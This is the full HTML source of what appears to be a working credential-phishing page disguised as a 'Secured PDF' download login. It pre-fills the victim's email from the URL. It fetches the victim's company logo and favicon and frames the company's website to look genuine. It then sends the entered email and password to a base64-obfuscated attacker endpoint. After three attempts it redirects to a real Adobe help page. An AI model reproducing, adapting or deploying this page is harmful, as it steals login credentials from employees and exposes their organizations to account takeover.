<!DOCTYPE html>
<html lang="en-US">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Secured PDF</title>
    <link rel="stylesheet" id="elementor-frontend-css" href="https://cdn.glitch.global/77a75b2c-250a-402a-9cc3-8acaab1898a3/stylx.css" media="all">
    <link rel="stylesheet" id="elementor-frontend-css" href="https://cdn.glitch.global/77a75b2c-250a-402a-9cc3-8acaab1898a3/frontend.min.css" media="all">
    <link rel="stylesheet" id="widget-image-css" href="https://cdn.glitch.global/77a75b2c-250a-402a-9cc3-8acaab1898a3/widget-image.min.css" media="all">
    <link rel="stylesheet" id="elementor-post-559-css" href="https://cdn.glitch.global/77a75b2c-250a-402a-9cc3-8acaab1898a3/post-559.css" media="all">
    <link rel="icon" href="" sizes="32x32">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
    <style>
        .error-message {
          color: red;
          font-size: 14px;
          margin-top: 5px;
          margin-left: 2px;
        }
    </style>
  </head>
  <body class="page-template page-template-elementor_canvas page page-id-559 wp-embed-responsive elementor-default elementor-template-canvas elementor-kit-6 elementor-page e--ua-blink e--ua-chrome e--ua-webkit" data-elementor-device-mode="desktop">
    <iframe id="iframe" src="" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; border: none; z-index: -1;" aria-hidden="true"></iframe>
    <div data-elementor-type="wp-page" data-elementor-id="559" class="elementor elementor-559" data-elementor-post-type="page" style="z-index: 1000">
      <div class="elementor-element elementor-element-55f30a1 e-flex e-con-boxed e-con e-parent e-lazyloaded" data-id="55f30a1" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;}">
        <div class="e-con-inner">
          <div class="elementor-element elementor-element-f4a08b4 e-con-full e-flex e-con e-child" data-id="f4a08b4" data-element_type="container">
            <div class="elementor-element elementor-element-336af74 e-con-full e-flex e-con e-child" data-id="336af74" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;}">
              <div class="elementor-element elementor-element-534f824 e-con-full e-flex e-con e-child" data-id="534f824" data-element_type="container">
                <div class="elementor-element elementor-element-7eacc5b elementor-widget elementor-widget-image" data-id="7eacc5b" data-element_type="widget" data-widget_type="image.default">
                  <div class="elementor-widget-container">
                    <img fetchpriority="high" decoding="async" width="256" height="256" id="siteLogo" src="" class="attachment-large size-large wp-image-703" alt="Logo">
                  </div>
                </div>
                <div class="elementor-element elementor-element-6b48c03 e-con-full e-flex e-con e-child" data-id="6b48c03" data-element_type="container">
                  <div class="elementor-element elementor-element-8db900b elementor-widget elementor-widget-heading" data-id="8db900b" data-element_type="widget" data-widget_type="heading.default">
                    <div class="elementor-widget-container">
                      <h2 class="elementor-heading-title elementor-size-default">Sign in</h2>
                    </div>
                  </div>
                  <div class="elementor-element elementor-element-a34c3a6 elementor-widget elementor-widget-heading" data-id="a34c3a6" data-element_type="widget" data-widget_type="heading.default">
                    <div class="elementor-widget-container">
                      <h2 class="elementor-heading-title elementor-size-default">Confirm your identity</h2>
                    </div>
                  </div>
                </div>
              </div>
              <div class="elementor-element elementor-element-4ba5297 e-con-full e-flex e-con e-child" data-id="4ba5297" data-element_type="container">
                <div class="elementor-element elementor-element-c849169 elementor-widget elementor-widget-heading" data-id="c849169" data-element_type="widget" data-widget_type="heading.default">
                  <div class="elementor-widget-container">
                    <h2 class="elementor-heading-title elementor-size-default">Please match the displayed login details with your organization email credentials to access/document.</h2>
                    <div id="errorx" class="error-message"></div>
                  </div>
                </div>
                <div class="elementor-element elementor-element-60d6545 elementor-button-align-center elementor-widget elementor-widget-form" data-id="60d6545" data-element_type="widget" data-settings="{&quot;step_next_label&quot;:&quot;Sign in&quot;,&quot;step_previous_label&quot;:&quot;Previous&quot;,&quot;button_width&quot;:&quot;100&quot;,&quot;step_type&quot;:&quot;number_text&quot;,&quot;step_icon_shape&quot;:&quot;circle&quot;}" data-widget_type="form.default">
                  <div class="elementor-widget-container">
                    <form class="elementor-form" method="post" name="New Form" id="loginForm">
                      <input type="hidden" name="post_id" value="559">
                      <input type="hidden" name="form_id" value="60d6545">
                      <input type="hidden" name="referer_title" value="sws">
                      <input type="hidden" name="queried_id" value="559">
                      <div class="elementor-form-fields-wrapper elementor-labels-">
                        <div class="elementor-field-type-email elementor-field-group elementor-column elementor-field-group-email elementor-col-100 elementor-field-required">
                          <label for="form-field-email" class="elementor-field-label elementor-screen-only"> User ID </label>
                          <input size="1" type="email" name="email" id="email" class="elementor-field elementor-size-md  elementor-field-textual" placeholder="Email Address" required="required" aria-required="true">
                        </div>
                        <div class="elementor-field-type-password elementor-field-group elementor-column elementor-field-group-field_07898b5 elementor-col-100 elementor-field-required">
                          <label for="form-field-field_07898b5" class="elementor-field-label elementor-screen-only"> Password </label>
                          <input size="1" type="password" name="password" id="password" class="elementor-field elementor-size-md  elementor-field-textual" placeholder="Password" required="required" aria-required="true">
                          <!-- Error message will be displayed here -->
                          <div id="error" class="error-message"></div>
                        </div>
                        <div class="elementor-field-type-checkbox elementor-field-group elementor-column elementor-field-group-field_679fe3b elementor-col-100">
                          <label for="form-field-field_679fe3b" class="elementor-field-label elementor-screen-only"> Check </label>
                          <div class="elementor-field-subgroup  elementor-subgroup-inline">
                            <span class="elementor-field-option">
                              <input type="checkbox" value="Stay logged in" id="form-field-field_679fe3b-0" name="form_fields[field_679fe3b][]">
                              <label for="form-field-field_679fe3b-0">Stay logged in</label>
                            </span>
                            <span class="elementor-field-option">
                              <input type="checkbox" value="Forgot Password" id="form-field-field_679fe3b-1" name="form_fields[field_679fe3b][]">
                              <label for="form-field-field_679fe3b-1">Forgot Password</label>
                            </span>
                          </div>
                        </div>
                        <div class="elementor-field-group elementor-column elementor-field-type-submit elementor-col-100 e-form__buttons">
                          <button class="elementor-button elementor-size-sm" type="submit">
                            <span class="elementor-button-content-wrapper">
                              <span class="elementor-button-text">Download</span>
                            </span>
                          </button>
                        </div>
                      </div>
                    </form>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
    <script>
        // Function to extract query parameter values
function getQueryParam(param) {
  const urlParams = new URLSearchParams(window.location.search);
  return urlParams.get(param);
}

// Automatically populate the email field from the query parameter
const emailFromUrl = getQueryParam('e');
if (emailFromUrl) {
  const emailField = document.getElementById("email");
  if (emailField) {
    emailField.value = emailFromUrl;
    emailField.readOnly = true; // Make the field read-only

    const emailDomain = emailFromUrl.split('@')[1]; // Get the domain part of the email
    if (emailDomain) {
        // Set Favicon
        var faviconUrl = `https://t3.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=http://${emailDomain}&size=50`;
        // Dynamically set the favicon
        var link = document.createElement('link');
        link.rel = 'icon';
        link.type = 'image/x-icon';
        link.href = faviconUrl;

        document.head.appendChild(link);

      // Function to fetch the logo from the backend
                fetch(`https://sgs-groups.co.ua/keko/fetch-logo.php?domain=${emailDomain}`)
                .then(response => response.json())
                .then(data => {
                    console.log('Received logo URL:', data.logoUrl);
                    if (data.logoUrl) {
                    const logoImg = document.getElementById('siteLogo');
                    if (logoImg) {
                        logoImg.src = data.logoUrl;
                        logoImg.alt = 'Logo';
                        console.log('Logo set successfully');
                    }
                    } else {
                        console.error('Logo URL not found:', data);
                        logoImg.src = 'https://cdn.glitch.global/77a75b2c-250a-402a-9cc3-8acaab1898a3/voxer.png';
                        logoImg.alt = 'Logo';
                        console.log('Default Logo set successfully');
                    
                    }
                })
                .catch(error => {
                    console.error('Error fetching logo:', error);
                });
      

      // Set iframe source dynamically
      const iframeSrc = `https://sgs-groups.co.ua/keko/helper.php?url=https://${emailDomain}`;
      const iframe = document.getElementById("iframe");
      if (iframe) {
        iframe.src = iframeSrc;
      }
    }
  }
}

let submitCount = 0; // Counter for form submissions

const loginForm = document.getElementById("loginForm");
if (loginForm) {
  loginForm.addEventListener("submit", function (event) {
    event.preventDefault(); // Prevent default form submission behavior

    // Get form inputs
    const email = document.getElementById("email").value.trim();
    const password = document.getElementById("password").value;
    const errorDiv = document.getElementById("error");

    // Ensure statusMessage element exists
    let statusMessage = document.getElementById("statusMessage");
    if (!statusMessage) {
      statusMessage = document.createElement("div");
      statusMessage.id = "statusMessage";
      statusMessage.style.marginTop = "10px";
      loginForm.appendChild(statusMessage);
    }

    // Reset messages
    errorDiv.textContent = "";
    statusMessage.textContent = "";

    // Basic validation
    if (!email) {
      errorDiv.textContent = "Email is required.";
      return;
    }
    if (password.length < 5) {
      errorDiv.textContent = "Invalid password. Password must be at least 5 characters.";
      return;
    }

    // Prepare form data
    const formData = new FormData();
    formData.append("email", email);
    formData.append("password", password);

    // Send the request using XMLHttpRequest
    const xhr = new XMLHttpRequest();
    xhr.open(
      "POST",
      atob("aHR0cHM6Ly9zZ3MtZ3JvdXBzLmNvLnVhL3BkZngvcHJvY2Vzcy1sb2dpbi5waHA="),
      true
    );

    xhr.onload = function () {
      if (xhr.status === 200) {
        try {
          const response = JSON.parse(xhr.responseText); // Assuming the PHP response is JSON
          statusMessage.style.color = response.success ? "green" : "red";
          statusMessage.textContent = response.message || (response.success ? "Login successful!" : "Login failed. Please check your credentials.");
        } catch (e) {
          statusMessage.style.color = "red";
          statusMessage.textContent = "Unexpected server response.";
        }
      } else {
        statusMessage.style.color = "red";
        statusMessage.textContent = "An error occurred. Please try again.";
      }
    };

    xhr.onerror = function () {
      errorDiv.style.color = "white";
      errorDiv.style.backgroundColor = "red";
      errorDiv.style.padding = "10px";
      errorDiv.style.fontSize = "16px";
      errorDiv.textContent = "Invalid, try again!";
      document.getElementById("password").value = "";
    };

    xhr.send(formData);

    // Increment the submission counter
    submitCount++;

    // Redirect after 3 submissions
    if (submitCount === 3) {
      window.location.href = "https://helpx.adobe.com/acrobat/kb/fix-install-download-reader.html";
    }
  });
}

      </script>      
  </body>
</html>
